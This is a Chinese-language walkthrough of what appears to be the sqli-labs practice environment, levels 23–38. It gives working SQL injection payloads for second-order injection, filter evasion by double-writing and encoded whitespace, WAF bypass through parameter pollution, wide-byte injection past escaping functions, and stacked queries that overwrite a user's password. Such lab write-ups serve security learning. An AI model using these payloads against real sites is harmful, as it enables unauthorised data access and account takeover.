目录
第二十三关:
第二十四关(二次注入):
第二十五关(过滤and和or):
第二十六关(过滤空格):
第二十六a关(过滤空格):
第二十七(过滤union和select):
第二十七a(过滤union和select):
第二十八关:
第二十九关(绕过waf):
第三十关:
第三十一关:
第三十二关(宽字节注入):
第三十三关:
第三十四关:
第三十五关:
第三十六关:
第三十七关:
第三十八关(堆叠注入):
看源码,知道过滤了#和--的注释符
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
?id=1'
#报错
#构造payload
?id=1' and '1'='1
?id=-1' union select 1,2,3 and '1'='1
二次注入:是指预先编译好注入语句存储到数据库,第二次调用这个数据的时候产生漏洞
正常用户
username=admin
password=admin
新注册用户
username=admin'#
password=123
登录新注册的用户进行密码修改
newpassword=123456
退出登录
登录正常用户
username=admin
password=123456
登录成功
这里过滤了and和or,用双写进行绕过
?id=1' aandnd '1'='1
?id=-1' union select 1,2,3 aandnd '1'='1
单引号报错
?id=1'
双写绕过过滤and和or,过滤空格(用括号)
payload
?id=1 'aandnd(if(length(database())=8,sleep(10),sleep(1)))aandnd'1'='1
源码的sql语句,用')来闭合
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
知道如何闭合接下来和第二十六关一样
payload
?id=1 ')aandnd(if(length(database())=8,sleep(10),sleep(1)))aandnd('1')=('1
单引号报错
?id=1'
发现过滤了union和select 还有空格,但是相比二十六关很多的截断方式还可以用
payload
?id=a1' UnION%0ASelEct%0A1,2,3;%00
?id=1' and '1'='1
#没有回显
?id=1" and "1"="1
#有数据返回,说明用"闭合,空格被过滤了
payload
?id=a1"%0AUnIOn%0ASelECt%0A1,2,3;%00
?id=1" and '1'='1
#没有回显
?id=1' and '1'='1
#有数据返回,说明用'闭合,空格被过滤了,后面看了一下源码发现是')闭合
用布尔类型判断
?id=1')and ord(mid(user(),1,1))=114%0Aand'1'='1
绕过union和select连在一起使用的过滤
?id=a1')unionunion%0Aselect%0Aselect%0A1,2,3;%00
这里可以使用提交脏数据来干扰waf 的判断。
通俗的解释就是:waf对接收的数据的有效过滤数据长度是有限的或者是单一的,
比如有效过滤的长度只有2048个字节,我们上传一个payload前2048个字节都是没用的数据后面接上攻击语句这样可以绕过waf。
或者说上传两个同参数名的数值,waf可能只对第一个数值进行过滤,而后台接收到是第二个也可以绕过。
payload
?id=a&id=a1'union sElect 1,database(),version();%00
?id=1&id=1 'and 1=1--+ #有回显
?id=1&id=1 'and 1=2--+ #有回显
?id=1&id=1 "and 1=1--+ #有回显
?id=1&id=1 "and 1=2--+ #无回显
#用"闭合,payload
?id=-1&id=-1 "union select 1,2,3--+
?id=1&id=1"--+ #报错
?id=1&id=1"'--+ #报错''-- ") LIMIT 0,1' at line 1
#可以用")闭合
?id=1&id=1")and 1=1--+
?id=1&id=1")and 1=2--+
?id=a1&id=a1")union select 1,2,3--+
后端检测'和",在前面加\,这里可以用宽字节注入
宽字节注入:
1:窄字节是指大小为一个字节的字符(英文默认是一个字节),宽字节是指大小为两个字节的字符(汉字默认是两个字节)
2:宽字节注入存在的原因是因为数据库和php的编码格式不相同产生的
用burpsuit来进行宽字节注入,可以发现'已经逃逸成功
#%df是中文的第一个字
?id=1%df'
直接上payload
payload
?id=1%df'and%201=1--+
?id=1%df'and%201=2--+
?id=a1%df'union%20select%201,2,3--+
与上一题一样的过滤机制,检测'和"并在前面加\,这一题不一样的是用了php里面的addslashes()函数来完成过滤
payload
payload
?id=1%df'and%201=1--+
?id=1%df'and%201=2--+
?id=a1%df'union%20select%201,2,3--+
uname=admin'--+&passwd=admin #'被过滤加了\
uname=admin%df' or 1=1--+&passwd=123 #登录成功
payload
uname=admin%df'union select 1,2--+&passwd=admin
这一题也是用addslashes()函数来完成过滤,但是这题我闭合了半天最后直接猜测是个数字型
payload
?id=-1 union select 1,user(),database()--+
?id=1'
#Hint: The Query String you input is escaped as : 1\'
?id=1 %df'
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1 �\'' LIMIT 0,1' at line 1
payload
?id=1%20%df%27and%201=1--+
?id=1%20%df%27and%201=2--+
?id=-1%20%df%27union%20select%201,2,3--+
与第三十四关思路差不多,但是这里用的是mysqli_real_escape_string函数来过滤
uname=admin'--+&passwd=admin #'被过滤加了\
uname=admin%df' or 1=1--+&passwd=123 #登录成功
payload
uname=admin%df'union select 1,2--+&passwd=admin
堆叠注入:sql的特性用;来结束语句,例如select 1,2,3;select version();会同时执行两个语句
payload
?id=1'and 1=1--+
?id=1'and 1=2--+
?id=1 #Your Password is : 0
?id=1';update users set password='test' where username='Dumb';--+
?id=1 #Your Password is : test